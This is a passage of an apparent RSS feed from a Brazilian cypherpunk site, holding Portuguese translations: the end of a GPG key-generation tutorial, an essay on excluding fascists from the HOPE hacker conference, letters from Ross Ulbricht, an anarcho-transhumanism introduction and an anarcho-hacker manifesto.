&lt;/p>
&lt;p>Agora vem a parte mais importante, &lt;strong>você precisa escolher uma senha!&lt;/strong> É altamente recomendado que você saiba como escolher uma senha segura. Se tiver dúvidas, veja este artigo sobre como gerar uma senha segura e refaça o processo. Uma dica simples: &lt;strong>a sua senha precisa ser longa&lt;/strong>, bem longa, e é altamente recomendável que também tenha números, letras maiúsculas e símbolos. &lt;strong>Mas o mais importante é, ela precisa ser longa.&lt;/strong>&lt;/p>
&lt;p>Assegure-se que digitou a senha corretamente, que você a lembra e prossiga. É desaconselhável salvar a senha de maneira digital. &lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/wp-content/uploads/2018/11/password.png" loading="lazy"
/>
Feito isto, mova o ponteiro do seu mouse para todos os lados. Isto vai gerar entropia adicional para a sua chave. &lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/wp-content/uploads/2018/11/entropy-2.png" loading="lazy"
/>
Depois deste processo, suas chaves foram geradas! Parabéns :) &lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/wp-content/uploads/2018/11/entropy_2.png" loading="lazy"
/>
&lt;!-- raw HTML omitted -->&lt;strong>3 - Visualizando chaves instaladas&lt;/strong>&lt;!-- raw HTML omitted -->&lt;/p>
&lt;pre>&lt;code>gpg --list-keys
&lt;/code>&lt;/pre>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/wp-content/uploads/2018/11/list-keys.png" loading="lazy"
/>
&lt;!-- raw HTML omitted -->&lt;strong>4- Exportando a chave para um servidor de chaves&lt;/strong> &lt;!-- raw HTML omitted --> Basta digitar &lt;em>gpg &amp;ndash;keyserver &amp;ldquo;nome do servidor&amp;rdquo; &amp;ndash;send-keys &amp;ldquo;codigo_da_sua_chave&amp;rdquo;&lt;/em>. Onde o código da sua chave é o mesmo exibido no &lt;em>&amp;ndash;list-keys&lt;/em> (exemplo anterior):&lt;/p>
&lt;pre>&lt;code>gpg --keyserver pgp.mit.edu --send-keys 82B9F18C369B01C3FD9AD68860F7A497E8AD7602
&lt;/code>&lt;/pre>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/wp-content/uploads/2018/11/keyserver.png" loading="lazy"
/>
Servidores famosos: pgp.mit.edu keys.gnupg.net subkeys.pgp.net keyserver.pgp.com keyserver.ubuntu.com sks-keyservers.net &lt;a href="https://sks-keyservers.net/status/" target="_blank" rel="noopener noreferrer">outros&lt;/a>
&lt;/p></content:encoded></item><item><title>Nenhum código sozinho irá salvá-lo</title><link>https://cypherpunks.com.br/documentos/nenhum-codigo-sozinho-ira-salvalo/</link><pubDate>Fri, 29 Jun 2018 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/nenhum-codigo-sozinho-ira-salvalo/</guid><description>É preciso uma visão extremamente empobrecida da liberdade de expressão ou liberdade de informação para defender a inclusão de neonazistas em nossas comunidades. A liberdade de informação deve ser avaliada na escala de toda uma rede. A inclusão de nós profundamente maliciosos para impor o fascismo a todos envenena a rede, impede o fluxo de …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;h2 id="william-gillis">William Gillis&lt;/h2>
&lt;p>A conferência Hackers On Planet Earth (HOPE) é há muito tempo uma das conferências de hackers mais explicitamente esquerdistas e politicamente conscientes. Ao contrário de conferências de hackers como Defcon e BlackHat, onde a atmosfera tem sido relativamente permissiva de assédio sexual, colaboradores do Estado e política reacionária, HOPE tem a reputação de ser melhor. Um pequeno posto avançado do radicalismo hacker europeu na América, HOPE melhorou lentamente; este ano, anarquistas e propaganda anarquista estavam por toda parte, as palestras apresentavam relatos de antifascistas sobre seus esforços para &amp;ldquo;doxxar&amp;rdquo; nazistas, e heroínas como a Chelsea Manning eram os principais palestrantes.&lt;/p>
&lt;p>E, no entanto, na HOPE deste ano, um idiota levantou-se durante uma sessão de perguntas e respostas e se gabou de ter marchado no UniteTheRight em Charlottesville, o comício nazista que assassinou Heather Heyer. Este fascista foi acompanhado por uma pequena equipe de provocadores reacionários, incluindo Thomas Ryan, um delator do FBI no Occupy Wall Street. Naturalmente, os participantes da conferência rapidamente se mobilizaram para responder de várias maneiras a essa presença reacionária explícita. No entanto, o verdadeiro desastre ocorreu quando muitos organizadores da conferência e pessoal de segurança se recusaram a remover o fascista e ameaçaram os participantes da conferência se eles próprios agissem.&lt;/p>
&lt;p>Membros da equipe zombaram dos “SJWs”, declararam que usar uma bandeira nazista não seria motivo para expulsão e alegaram que nenhuma ação tomada fora da conferência (como marchar em um famoso comício neonazi) seria relevante para expulsão da conferência. Essa postura absurda e irritante de “neutralidade ideológica”, que desde então gerou inúmeros artigos e a possibilidade da própria HOPE se dissolver, deve ser lida no contexto.&lt;/p>
&lt;p>Este foi o primeiro ano em que HOPE baniu o famoso hacker John “Captain Crunch” Draper, depois que sua tendência ao assédio sexual e agressão foi um segredo aberto por décadas. Na verdade, a primeira explosão do fascista de Charlottesville foi para protestar contra a exclusão de Draper. Apesar deste pequeno passo, HOPE ainda &lt;a href="https://twitter.com/isislovecruft/status/1019799425206620160" target="_blank" rel="noopener noreferrer">deu um espaço de fala proeminente para o conhecido estuprador Will Scott.&lt;/a>
Não é preciso dizer que essas coisas estão profundamente interligadas.&lt;/p>
&lt;p>O argumento contra expulsar um fascista que diz, &amp;ldquo;sim, mas ele marchou com os nazistas &lt;em>nesta conferência&lt;/em>?&amp;rdquo; é obviamente um argumento que pode ser aplicado para dispensar estupradores com &amp;ldquo;sim, mas ele estuprou alguém &lt;em>nesta conferência&lt;/em>?&amp;rdquo; Mas, além do mais, o lugar de onde os organizadores do HOPE vinham é claramente um local de prevenção de conflitos. É muito claro que seu instinto e prioridade era “prevenir o drama” no sentido de conflito visível, e não combater a dinâmica do poder opressor. Eles foram, em suma, fundidos a uma noção ingênua e infantil de apoliticismo e “neutralidade” que é tudo menos.&lt;/p>
&lt;p>Aqueles que criam espaços ajudam a determinar a cultura e as normas desses espaços. E, apesar da presença de longa data de anarquistas, infelizmente há também uma fração de longa data do meio hacker que valoriza um ambiente amargo e calejado, onde a identidade unificadora é de dureza nerd e nervosismo competitivo, com sérias questões de ética e política sendo deixadas de lado como distrações menores ou afetações pessoais. &lt;em>“Quem se importa se ele é um nazi!???&amp;quot;&lt;/em> Eles preferem se apegar ao policiamento de um pequeno conjunto de “comportamento” ou “ações” em um vácuo míope e sem contexto. O efeito de tais políticas míopes há muito tempo é evidente e foi demonstrado empiricamente em inúmeras outras subculturas: se você deixar nazistas literais entrarem em um espaço, você os encoraja a trazer todos os seus amigos, a esvaziar agressivamente seu projeto e transformá-lo em um projeto nazi.&lt;/p>
&lt;p>Além do mais, as primeiras pessoas que você perde como resultado de sua “tolerância” para com bandidos de rua autoritários genocidas são as pessoas que correm maior risco. Embora alguns tenham se empenhado em ficar e lutar - e alguns têm capacidades sobrenaturais para perseverar em ambientes hostis - a simples realidade é que muitas mulheres, pessoas queer e pessoas de cor nunca voltarão ao HOPE. Vários grandes hackers e pilares da comunidade já se recusaram a comparecer este ano por causa da recusa do HOPE em expulsar estupradores.&lt;/p>
&lt;p>Antes da conferência do último fim de semana e depois de muito arrastar os pés, a HOPE finalmente adotou um “Código de Conduta”. Mas foi claramente o resultado de negociações contenciosas com aqueles que priorizam a &amp;ldquo;abertura ideológica&amp;rdquo; em vez da abertura real para as pessoas marginalizadas. Priorizando a inclusão daqueles que optam por se identificar como nazistas em relação aos que não têm escolha em coisas como a cor da pele e as desvantagens que isso acarreta em nossa sociedade. Mas não importa que o Código de Conduta tenha inventado preventivamente uma justificativa para a inclusão dos nazistas - como um código, suas façanhas eram óbvias e múltiplas. Eu pessoalmente ouvi organizadores centrais zombarem de coisas como, &lt;em>“Ah, então essa pessoa ficou fisicamente na sua cara e pairou sobre você ameaçadoramente depois que você disse algo sarcástico sobre a política reacionária deles? Problema seu por zombar deles, você começou.&amp;quot;&lt;/em> Enquanto isso, alguém que divulgou abertamente sua identidade como fascista e se gabou de ter marchado em Charlottesville não foi visto como um comportamento ameaçador. Está tudo bem para os reacionários serem oradores de canto, mas aqueles que se opõem ao fascista explícito foram informados de que se fizéssemos o mesmo ou tentássemos expulsá-lo, seríamos expulsos.&lt;/p>
&lt;p>Desprovido de qualquer aparência de orientação política explícita, um “Código de Conduta” será sempre interpretado por aqueles que se configuram como policiais dos espaços. E alguns daqueles indivíduos que faziam a segurança no HOPE eram melhores amigos do fascista, do delator e de seus amigos reacionários, se abraçando e se encontrando com eles no Hooters depois.&lt;/p>
&lt;p>Mas não quero reclamar de como o Código de Conduta foi aplicado “injustamente”. É bastante claro que as palavras nele sempre foram interpretadas por pessoas diferentes de maneiras muito diferentes. E eu não me importo nem um pouco se o fascista explícito e seus amigos eram tecnicamente &amp;ldquo;hostis&amp;rdquo; - esse é, em última análise, um padrão irrelevante e sem sentido. Fascistas explícitos não deveriam ser bem-vindos em nenhuma conferência que valesse a pena, nem delatores. Ponto final.&lt;/p>
&lt;p>Isso deveria ser óbvio porra.&lt;/p>
&lt;p>É preciso uma visão extremamente empobrecida da liberdade de expressão ou liberdade de informação para defender a inclusão de neonazistas em nossas comunidades. A liberdade de informação deve ser avaliada na escala de toda uma rede. A inclusão de nós profundamente maliciosos para impor o fascismo a todos envenena a rede, impede o fluxo de informações dentro dela. O tempo durante a HOPE que teria sido gasto em conversas produtivas em hipervisores foi desperdiçado organizando segurança improvisada para Chelsea Manning e tendo o mais básico 101 de conversas repetidas vezes, argumentando que sim, os nazistas existem hoje, sim, eles constituem uma ameaça ativa, sim devemos enfrentá-los e, sim, o mínimo necessário é expulsá-los de nossos espaços, caralho.&lt;/p>
&lt;p>Infelizmente, parece que para muitos - em uma orgulhosa ignorância política além de seus narizes - &amp;ldquo;liberdade de expressão&amp;rdquo; não significa um mundo de transferência e processamento de informações com eficiência máxima, mas uma cultura &lt;em>bro-y&lt;/em> onde a comunicação é despojada de nuances e atenção em favor do nervosismo performativo fútil e da insensibilidade competitiva. Isso é decepcionante para dizer o mínimo. Porque o hacker sonha com a liberdade de informação liberando vozes historicamente reprimidas online para ajudar a derrubar todos os limites antiquados como fronteiras e criar um novo mundo com novas normas culturais? Nós entendemos. Na verdade, meio que ganhamos isso. Chama-se “justiça social”. Ainda existem alguns bugs infelizes e failure modes a serem resolvidos, mas no geral tem sido um sucesso impressionante. A internet abriu o mundo para inúmeras pessoas marginalizadas por sistemas de opressão. É irritante que aqueles chateados com isso, que querem voltar no tempo e dar liberdade de expressão às ideias mais merdosas imagináveis, como o fascismo, tenham a ousadia de fingir que defendem a “liberdade de expressão”.&lt;/p>
&lt;p>Embora eu compreenda o apego que muitas pessoas têm aos Códigos de Conduta em conferências, dado o quão duro eles tiveram que lutar por eles, acho que o foco em apelar para um CdC é profundamente falho. Até porque as regras de comportamento codificadas sempre terão dificuldade em integrar o contexto. Não estou nem aí se um estuprador estuprou alguém &lt;em>na&lt;/em> conferência ou se um neonazi gritou “os judeus não vão nos substituir” na conferência. Estupradores e neonazis obviamente deveriam ser totalmente banidos. Não deveríamos ter que argumentar legalisticamente sobre as violações do CdC.&lt;/p>
&lt;p>Um Código de Conduta não é uma panacéia. Nem tudo o que é notório cairá perfeitamente sob ele. Nenhum código de comportamento claramente mensurável, seja um CdC ou o PNA ou alguma Constituição, jamais nos fornecerá tudo de que precisamos. O mundo real é complicado, assim como as ameaças que enfrentamos. Anarquistas e outros têm usado Pontos de Unidade por muito tempo, além de esclarecer nossos valores e motivações para que possamos pelo menos discutir situações individuais a partir do mesmo ethos inicial. A HOPE e a comunidade hacker mais ampla precisam aceitar que não existe neutralidade, que os valores são inevitáveis ​​e que ter quaisquer valores significa alguma forma de exclusão política.&lt;/p>
&lt;p>Defender um mundo aberto de liberdade de informação envolve necessariamente cortar e rotear nós ruins na rede. Se deixarmos estupradores ou orgulhosos fascistas e delatores invadirem nossos espaços, expulsaremos quase todo mundo. Se falhamos em resistir aos fascistas, somos funcionalmente cúmplices de suas campanhas e aspirações.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://c4ss.org/content/51088" target="_blank" rel="noopener noreferrer">No Code Alone Will Save You&lt;/a>
&lt;/p></content:encoded></item><item><title>Carta de Ross para a Reason Conference</title><link>https://cypherpunks.com.br/documentos/carta-de-ross-para-a-reason-conference/</link><pubDate>Sun, 04 Mar 2018 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/carta-de-ross-para-a-reason-conference/</guid><description>Às vezes eu vejo um artigo ao meu respeito e me arrepio pois temo que estou preste a ler outra versão sensacionalista da história do governo, mas nas minhas edições mensais da Revista Reason, quando sou mencionado, me sinto esperançoso porque os pontos que quero que as pessoas ouçam estão sendo articulados lindamente. Quando termino de …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="ross-ulbricht">Ross Ulbricht&lt;/h2>
&lt;p>Enviado em 4 de março de 2018&lt;/p>
&lt;p>&lt;/p>
&lt;p>Olá a todos,&lt;/p>
&lt;p>Agradeço por convidar minha mãe para falar neste evento. Ambos estamos muito empolgados com isso, porque, desde o início e a todo momento, a Reason tem cobrindo meu caso de forma justa e de maneira a superar problemas maiores. Às vezes eu vejo um artigo ao meu respeito e me arrepio pois temo que estou preste a ler outra versão sensacionalista da história do governo, mas nas minhas edições mensais da Revista Reason, quando sou mencionado, me sinto esperançoso porque os pontos que quero que as pessoas ouçam estão sendo articulados lindamente. Quando termino de ler, passo minha revista para a próxima pessoa e a próxima. Nossas idéias estão encontrando um terreno fértil na mente dos meus companheiros de prisão.&lt;/p>
&lt;p>Quando eu soube que a Reason estava patrocinando um &lt;a href="http://publichealthlawcenter.org/amicus-briefs" target="_blank" rel="noopener noreferrer">amicus brief&lt;/a>
para minha petição da Suprema Corte, colocou vento em minhas velas e quando eu li, fiquei tão tocado porque sei que não estou sozinho nessa luta. Saber que existem pessoas como vocês que não se esqueceram de mim faz muita diferença de onde eu estou, então obrigado.&lt;/p>
&lt;p>Rspeitosamente,&lt;br>
Ross&lt;/p>
&lt;p>&lt;em>Se você ainda não assinou o pedido de clemência de Ross, pode assinar&lt;/em> &lt;a href="https://www.change.org/p/freerosspetition-we-seek-potus-s-clemency-for-ross-ulbricht-serving-double-life-for-a-website-realdonaldtrump-free-ross" target="_blank" rel="noopener noreferrer">aqui&lt;/a>
.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/Reason_Conference_Letter_2018.jpeg" loading="lazy"
width="2436" height="3105"
/>
&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://freeross.org/reason-letter-2018/" target="_blank" rel="noopener noreferrer">Free Ross Ulbricht&lt;/a>
&lt;/p></content:encoded></item><item><title>Carta de Ross para Liberty Forum</title><link>https://cypherpunks.com.br/documentos/carta-para-liberty-forum/</link><pubDate>Tue, 30 Jan 2018 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/carta-para-liberty-forum/</guid><description>Carta de Ross para Liberty Forum.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="ross-ulbricht">Ross Ulbricht&lt;/h2>
&lt;p>Publicado originalmente na Segunda-feira, 30 de janeiro de 2018&lt;/p>
&lt;h2 id="carta-de-ross-para-liberty-forum">Carta de Ross para Liberty Forum&lt;/h2>
&lt;p>&lt;/p>
&lt;p>Oi pessoal,
Estou sentado aqui em minha unidade habitacional na USP Florence, cercado por aço e concreto e almas perdidas, esperando a mudança controlada para a biblioteca jurídica. Já se passaram mais de quatro anos desde minha prisão. De alguma forma, vocês ainda não desistiu de mim. Eu recebo suas cartas (desculpe, não tenho tempo para responder todas elas), Lyn me diz como ela fica &amp;ldquo;bombardeada de amor&amp;rdquo; cada vez que está em seu caminho, e eu simplesmente sei que vocês são minha comunidade. São vocês que estão mantendo por mim, que não vão esquecer e ver minha situação como ela é.
Vocês me dão coragem para continuar lutando. Obrigado por este precioso presente. Isso me faz continuar nos momentos sombrios e nos momentos em que esqueço que não estou sozinho.&lt;/p>
&lt;p>De todo meu amor,
Ross&lt;/p>
&lt;p>&lt;em>&amp;ldquo;Um pódio ou uma prisão são locais, um no alto, outro no ponto mais baixo, mas em ambos os lugares sua liberdade de escolha pode ser mantida se assim você desejar.&amp;rdquo;&lt;/em>&lt;/p>
&lt;p>– Epictetus&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="carta para liberty forum" src="https://cypherpunks.com.br/stuff/Liberty_Forum_letter_2018.jpg" loading="lazy"
width="2353" height="2888"
/>
&lt;/p></content:encoded></item><item><title>Acelerando o Anarquismo - uma introdução ao anarco-transumanismo</title><link>https://cypherpunks.com.br/documentos/acelerando-o-anarquismo/</link><pubDate>Mon, 01 Jan 2018 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/acelerando-o-anarquismo/</guid><description>O anarco-transumanismo é o reconhecimento de que a liberdade social está inerentemente ligada à liberdade material e que a liberdade é, em última análise, uma questão de expandir nossa capacidade e oportunidades de nos envolver com o mundo ao nosso redor. Isso significa não apenas estar livre das limitações arbitrárias que nossos corpos …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Matheus Bach
&lt;/code>&lt;/pre>&lt;h1 id="acelerando-o-anarquismo">Acelerando o Anarquismo&lt;/h1>
&lt;h2 id="uma-introdução-ao-anarco-transumanismo">Uma introdução ao anarco-transumanismo&lt;/h2>
&lt;h3 id="blueshifted">Blueshifted&lt;/h3>
&lt;pre>&lt;code>&amp;quot;Ser humano é querer ser mais&amp;quot;
“À ousadia pertence o futuro”
&lt;/code>&lt;/pre>
&lt;p>Os tempos mudaram. As fantasias tecnológicas selvagens dos primeiros anarquistas se tornaram realidade, como a internet, a pílula, a terapia hormonal e a impressão 3D, expandindo dramaticamente a agência humana. Ao mesmo tempo, a paisagem mudou. Os anarquistas frequentemente se concentram no imediato, ou se preocupam em voltar a lutar contra as batalhas do passado, e não se prepararam adequadamente para as lutas e desafios futuros. Não precisa ser assim.&lt;/p>
&lt;p>O anarco-transumanismo é o reconhecimento de que a liberdade social está inerentemente ligada à liberdade material e que a liberdade é, em última análise, uma questão de expandir nossa capacidade e oportunidades de nos envolver com o mundo ao nosso redor. É a compreensão de que nossa resistência contra as forças sociais que nos subjugariam e nos limitariam é apenas parte de um espectro de esforços para expandir a agência humana — para facilitar nossa investigação e criatividade.&lt;/p>
&lt;p>Isso significa não apenas estar livre das limitações arbitrárias que nossos corpos podem impor, mas também para moldar o mundo ao nosso redor e aprofundar o potencial de nossas conexões entre si por meio dele.&lt;/p>
&lt;p>Isso significa que as ferramentas que usamos devem ser abertamente conhecidas e infinitamente personalizáveis; significa corpos que não estão presos a processos nos quais não temos voz. Sabe que a fome de escolha por trás do controle da natalidade, dos membros regenerados e da redesignação sexual é a mesma fome que organiza os trabalhadores e ateia fogo nas prisões. É uma luta viver livre&amp;hellip; e fazê-lo por mais um ano, mais uma década, mais um século. Significa não apenas transcender as restrições de gênero, mas também da genética e de todas as experiências humanas anteriores. Significa lutar para ter a plena atualização de quem e do que queremos ser, sempre que quisermos.&lt;/p>
&lt;p>Significa desafiar e alterar as condições que poderiam nos governar. Significa que quando existem ferramentas para melhorar nossas vidas, elas devem ser usadas; que ninguém deve morrer de fome quando tal escassez pode ser eliminada. Significa envolver-se vigilantemente com a natureza, em vez de intimidar ou render-se a ela. É o conhecimento de que a vitória da classe trabalhadora só chegará verdadeiramente quando cada trabalhador individualmente possuir os meios de produção — capazes de fabricar tudo e qualquer coisa para si. É um engajamento pró-ativo com as condições ambientais que forçam a hierarquia e o coletivismo inescapável. Significa libertar nossa sociedade das hierarquias das paisagens bidimensionais, mover nossas infraestruturas destrutivas para fora da biosfera e, eventualmente, sacudir a civilização sedentária e tomar nosso lugar como caçadores-coletores entre as estrelas.&lt;/p>
&lt;p>Significa criptografia — canais inquebráveis de comunicação privada somados a uma colmeia inquebrável de ideias e conhecimento. Também significa a abolição da privacidade pública — a criação de um mundo onde as ações que realizamos uns com os outros são compartilháveis e verificáveis em um instante. E, em última análise, será a liberdade de ultrapassar a largura de banda limitada da linguagem e conectar-se cada vez mais diretamente uns aos outros — para fundir mentes e transcender subjetividades individuais conforme desejado.&lt;/p>
&lt;p>Anarco-Transumanismo é todas essas coisas e qualquer uma delas.&lt;/p>
&lt;p>Fonte: &lt;a href="http://www.blueshifted.net/" target="_blank" rel="noopener noreferrer">Accelerating Anarchism - An Introduction to Anarcho-Transhumanism&lt;/a>
&lt;/p></content:encoded></item><item><title>Manifesto Anarco-Hacker (2018) v.2</title><link>https://cypherpunks.com.br/documentos/manifesto-anarco-hacker/</link><pubDate>Mon, 01 Jan 2018 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/manifesto-anarco-hacker/</guid><description>Gostamos de saber como as coisas funcionam. Gostamos de inventar, modificar e melhorar tecnologias como qualquer outro hacker. Fazemos isso sem objetivo financeiro. Como hackers, fazemos isso por conhecimento e para satisfazer nossa curiosidade, e decidimos usar esse conhecimento de forma a construir um mundo melhor.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;h3 id="anon-anarchist-action">Anon Anarchist Action&lt;/h3>
&lt;h1 id="manifesto-anarco-hacker-2018-v2">Manifesto Anarco-Hacker (2018) v.2&lt;/h1>
&lt;h2 id="nós-somos-hackers-somos-anarquistas-somos-curiosos">Nós somos hackers, somos anarquistas, somos curiosos.&lt;/h2>
&lt;p>&lt;img class="img-fluid" alt="banner" src="https://theanarchistlibrary.org/library/a-m-anarchohacker-manifesto-2018-2.png" loading="lazy"
/>
&lt;/p>
&lt;p>Gostamos de saber como as coisas funcionam. Gostamos de inventar, modificar e melhorar tecnologias como qualquer outro hacker. Fazemos isso sem objetivo financeiro. Como hackers, fazemos isso por conhecimento e para satisfazer nossa curiosidade, e decidimos usar esse conhecimento de forma a construir um mundo melhor. A maioria de nós também era rebelde na escola e provavelmente teve problemas algumas vezes. Crescemos e vimos o sistema como um inimigo. Fomos recebidos em grupos comuns de hackers, mas achávamos que eles tinham uma educação política limitada e ainda repetiam a propaganda do sistema. O resto dos hackers que conhecíamos pensaram que éramos loucos juntando-se a protestos de rua e lendo Bakunin, de Cleyre, Marsh e outros teóricos políticos.&lt;/p>
&lt;p>Enquanto estávamos nas revoltas de Seattle, Gênova, Berlim, Atenas e Toronto já aprendendo quem é o verdadeiro inimigo da liberdade e do livre arbítrio, percebemos que não é apenas o governo mas, capitalismo, igreja, raça, gênero, nacionalismo, imperialismo, patriarcado, etc. que são nossos inimigos. Com o tempo, nos tornamos os primeiros hacktivistas e formamos coletivos de hackers de valores anarquistas como construção de consenso, democracia direta, organização horizontal, colaboração em massa, modelos de tomada de decisão estigmáticos ou federados e / ou descentralizados. Escrevemos ferramentas de segurança, guias, tempestades de dados com o objetivo de ajudar dissidentes em todo o mundo e aqueles presos dentro das mesmas fronteiras e estruturas de Estado. Pensamos que não bastava, então criamos frentes online de hacktivistas, alguns dos quais ainda hoje crescem, e participamos de suas ações.Também descobrimos falta de experiência política com os recém-chegados, então decidimos colocar algum objetivo na educação e trabalhar com uma mentalidade crítica.&lt;/p>
&lt;p>Nós estamos cansados de ser vítimas sem uma luta, estamos cansados de ter habilidades e não fazer bom uso delas, e para nós, bom uso não é trabalhar para você e seus cães. Agora que evoluímos, somos a insurgência. Você tem medo de nós. Você usa sua mídia estatal e corporativa para inventar mais propaganda para aterrorizar nossos camaradas em todo o mundo, mentindo sobre os defensores da liberdade, fazendo-nos parecer inimigos, impotentes ou perdidos, mas desta vez é diferente. Desta vez, somos uma legião. Nossas barricadas não são apenas em formato eletrônico, e tenha certeza de que temos mais habilidades do que qualquer um de seus cães &amp;ldquo;com fins lucrativos&amp;rdquo; que você possa ter persuadido a trabalhar para você. Mesmo agora, alguns de nós trabalham para você e depois contra você.&lt;/p>
&lt;p>Nós não enviamos informações para seus cães da mídia sobre nossas ações, isso fica entre nós, você sabe quem somos, sabe que estamos menos do que dispostos a governar por celebridade e é isso que te assusta. Estamos determinados a derrubar seu sistema tijolo por tijolo, byte por byte, de dentro e de fora. E temos conseguido até agora. Todas as suas bases pertencem a nós. E para todos aqueles que imploram por libertação, libertem-se. Um cão que implora nunca estará livre de seu dono.&lt;/p>
&lt;p>A informação deve ser gratuita e aqueles que possuem a informação e controlam o acesso a ela têm o poder e, portanto, devemos descentralizar esse poder e liberar os dados!&lt;/p>
&lt;p>Nós imaginamos todas as formas digitais de resistência, e as usamos para mostrar ao mundo que podemos vencer várias batalhas e muito mais. Para isso, não optamos por nos separar de nossos companheiros anarquistas, mas sim reunir todos. Não nos conformamos com uma frente apenas, apoiamos todas elas. Levamos as pessoas às ruas e trazemos para o mundo eletrônico ativistas que não poderiam ter feito antes de aumentar nossos números! Diversidade de táticas e diversidade de frentes!&lt;/p>
&lt;p>Nós acreditamos que cada indivíduo que, no estado atual das coisas, prega sobre as urnas para escolher uma autoridade está perdendo tempo e inflando um sistema capitalista horrível, nós preferimos contribuir para um novo mundo com um espírito com base nos valores anarquistas &amp;amp; colaboração em massa. Por isso, a maioria de nós acredita em uma diversidade de estratégias e autonomia, não apenas trabalhando nas sombras das darknets da internet, mas também nas ruas e comunidades com outros insurgentes de todos os tipos.&lt;/p>
&lt;p>Nossa insurgência usa uma gama diversificada de ações, dependendo do que cada um de nós decidir ser necessário e viável naquele momento e hora, todos trabalhando no que fazemos de melhor.&lt;/p>
&lt;p>Somos idealistas,&lt;/p>
&lt;p>&lt;strong>Nós&lt;/strong> escrevemos,&lt;/p>
&lt;p>&lt;strong>Nós&lt;/strong> amamos,&lt;/p>
&lt;p>&lt;strong>Nós&lt;/strong> construímos,&lt;/p>
&lt;p>&lt;strong>Nós&lt;/strong> criamos,&lt;/p>
&lt;p>&lt;strong>Nós&lt;/strong> destruímos,&lt;/p>
&lt;p>&lt;strong>Nós&lt;/strong> emancipamos,&lt;/p>
&lt;p>&lt;strong>Nós&lt;/strong> compartilhamos e&lt;/p>
&lt;p>Combatemos a opressão sob qualquer forma. E, claro, &lt;strong>hackeamos&lt;/strong>.&lt;/p>
&lt;p>a(A)a &lt;strong>A&lt;/strong>non &lt;strong>A&lt;/strong>narchist &lt;strong>A&lt;/strong>ction, YourAnonCentral, outros membros do Anonymous e outros coletivos que preferem não ser identificados participaram da criação deste manifesto que de maneira nenhuma já está concluído.&lt;/p>
&lt;p>Fontes:&lt;/p>
&lt;p>&lt;strong>Versão 0.2 2018&lt;/strong>&lt;/p>
&lt;p>&lt;a href="https://medium.com/your-anon-central/the-anarchohacker-manifesto-2018-86f1bcc9613b" target="_blank" rel="noopener noreferrer">https://medium.com/your-anon-central/the-anarchohacker-manifesto-2018-86f1bcc9613b&lt;/a>
&lt;/p>
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;p>Free Jeremy Hammond a(A)a&lt;/p>
&lt;p>&lt;a href="freejeremy.net/">freejeremy.net/&lt;/a>
&lt;/p></content:encoded></item><item><title>Carta de Ross para a Conferência Nexus</title><link>https://cypherpunks.com.br/documentos/carta-de-ross-para-conferencia-nexus/</link><pubDate>Tue, 29 Aug 2017 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/carta-de-ross-para-conferencia-nexus/</guid><description>Carta de Ross para a Conferência Nexus.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h3 id="ross-ulbricht">Ross Ulbricht&lt;/h3>
&lt;p>Publicado originalmente em 29 de agosto de 2017&lt;/p>
&lt;h2 id="carta-de-ross-para-a-conferência-nexus">Carta de Ross para a Conferência Nexus&lt;/h2>
&lt;p>Terça-feira, 29 de agosto de 2017&lt;/p>
&lt;p>&lt;/p>
&lt;p>Olá a todos,
Estou aqui na biblioteca jurídica da Federal Pen em Florence, Colorado, não muito longe de onde você está agora. Estou passando a maior parte do meu tempo aqui lendo jurisprudência e lutando por minha liberdade com tudo o que tenho, mas gostaria de deixar uma nota rápida para agradecer por hospedar minha mãe e ouvir o que ela tem a dizer. Como tenho certeza de que ela dirá se ainda não o fez, minha luta não é apenas sair deste caso, porque meu sucesso ou fracasso tem amplas ramificações. Os precedentes que os tribunais estabeleceram ao decidir sobre as várias questões do meu caso afetam todos e cada um de nós e estão moldando o mundo em que vivemos, especialmente nas áreas de privacidade e de nossos direitos constitucionais. Até minha vida estar em jogo, nunca me ocorreu que eu pudesse fazer a diferença travando batalhas judiciais, mas a verdade é que podemos ter um impacto real ao vencer, e é um campo de batalha que não podemos ignorar . Eu gostaria de poder estar lá com todos vocês, mas agora vou voltar ao meu trabalho até que o esforço valha a pena. Gostou da conferência e fez muitas perguntas ao Lyn?&lt;/p>
&lt;p>Atenciosamente,
Ross&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="carta para nexus" src="https://cypherpunks.com.br/stuff/Nexus_2017.png" loading="lazy"
